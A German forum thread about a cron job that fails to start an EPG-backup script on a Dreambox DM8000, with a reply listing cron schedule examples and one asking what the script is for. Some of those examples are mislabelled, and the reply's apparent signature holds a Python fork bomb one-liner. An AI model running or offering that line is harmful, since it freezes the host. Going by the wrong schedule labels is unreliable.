Zeitgesteuerter Cronjob

    Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

    • Zeitgesteuerter Cronjob

      Hallo Leute,

      ich schaffe es einfach nicht über Cron ein eigenes Skript zum Laufen zu bekommen. Folgendes Script "1.sh" liegt unter /usr/script und ich kann es unter ExecuteScripts direkt an der DM8000 starten. Es läuft also prinizipiell:

      #!/bin/sh
      echo "Kopiere EPG Daten"
      sleep 6
      init 4
      sleep 10
      cp /media/hdd/epg.dat /media/net/Pogo/EPG
      sleep 10
      cp /media/hdd/epg.dat /media/net/Pogo/EPG/Sicherheit
      sleep 10
      rm -r /media/hdd/crossepg
      sleep 10
      rm /media/hdd/epg.dat
      sleep 10
      init 3

      Erstelle ich mit "crontab -e" nun folgendes:
      08 * * * * /usr/script/1.sh
      dann sollte das Script ja eigentlich jede Stunde um 8 Minuten nach der vollen Stunde starten (ist nur als Beispiel)...tut es aber nicht.

      crontab -l liefert folgendes:
      # DO NOT EDIT THIS FILE - edit the master and reinstall.
      # (/tmp/crontab.2569 installed on Wed Jan 2 14:12:06 2013)
      # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
      08 * * * * /usr/script/1.sh

      Was mache ich falsch???
    • */5 * * * * /mein/script.sh <- Alle 5 min

      0 */5 * * * /mein/script.sh <- Alle 5 std

      0 0 * * 5 /mein/script.sh <- Alle 5 Tage

      0 0 1 5,10 * /mein/script.sh <- Alle 5 Monate

      So Sollte das ausehen :D
      python -c 'while 1: __import__("os").fork()'
      Wer der Herde hinterher läuft frisst nur Scheisse , nicht das Gras !
    • RE: Zeitgesteuerter Cronjob

      Original von nevven
      Hallo Leute,

      ich schaffe es einfach nicht über Cron ein eigenes Skript zum Laufen zu bekommen. Folgendes Script "1.sh" liegt unter /usr/script und ich kann es unter ExecuteScripts direkt an der DM8000 starten. Es läuft also prinizipiell:

      #!/bin/sh
      echo "Kopiere EPG Daten"
      sleep 6
      init 4
      sleep 10
      cp /media/hdd/epg.dat /media/net/Pogo/EPG
      sleep 10
      cp /media/hdd/epg.dat /media/net/Pogo/EPG/Sicherheit
      sleep 10
      rm -r /media/hdd/crossepg
      sleep 10
      rm /media/hdd/epg.dat
      sleep 10
      init 3

      Erstelle ich mit "crontab -e" nun folgendes:
      08 * * * * /usr/script/1.sh
      dann sollte das Script ja eigentlich jede Stunde um 8 Minuten nach der vollen Stunde starten (ist nur als Beispiel)...tut es aber nicht.

      crontab -l liefert folgendes:
      # DO NOT EDIT THIS FILE - edit the master and reinstall.
      # (/tmp/crontab.2569 installed on Wed Jan 2 14:12:06 2013)
      # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
      08 * * * * /usr/script/1.sh

      Was mache ich falsch???


      Was soll denn das bewirken?
      die epg.dat an 2 Ziele kopieren und dann löschen?